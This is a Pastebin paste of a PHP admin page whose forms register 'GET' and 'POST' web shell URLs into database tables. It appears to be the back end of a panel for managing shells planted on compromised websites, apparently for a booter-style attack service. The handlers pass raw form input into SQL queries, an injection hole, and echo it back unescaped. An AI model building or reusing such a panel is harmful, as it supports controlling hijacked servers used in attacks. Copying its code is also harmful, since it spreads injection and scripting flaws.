Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | None | 0 0
  1. require('myaccount.php');
  2. ?>
  3.  
  4. <div class="content">
  5. <?php if (checkAdmin()) { ?>
  6. Input a PHP page extension of a shell below to insert it to the database: <br> <br>
  7.  
  8. Add a GET Shell: <form name="frmcontadd" action="" method="post">
  9. <input class="entryfield" name="url" type="text" id="url">
  10. <input class="button" type="submit" name="Submit" value="Add GET Shell"></td>
  11.  
  12. </form>
  13.  
  14. Add a POST Shell: <form name="frmcontadd" action="" method="post">
  15. <input class="entryfield" name="url2" type="text" id="url2"></td>
  16. <input class="button" type="submit" name="Submit2" value="Add POST Shell">
  17.  
  18. </form>
  19.  
  20. <?php
  21. if (isset($_POST['Submit'])){
  22. $host = $_POST['url'];
  23. $query = "INSERT INTO getshells (url) VALUES ('$host')";
  24. $result = mysql_query($query);
  25. echo '<hr>Successfully added GET Shell, ' . $host . ' to the shells database.';
  26. }
  27. ?>
  28.  
  29. <?php
  30. if (isset($_POST['Submit2'])){
  31. $host2 = $_POST['url2'];
  32. $query = "INSERT INTO postshells (url) VALUES ('$host2')";
  33. $result = mysql_query($query);
  34. echo '<hr>Successfully added POST Shell, ' . $host2 . ' to the shells database.';
  35. }
  36. }
  37. ?>
  38. </div>
  39.  
  40. <br>
  41.  
  42. <?php
  43. include 'footer.php';
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement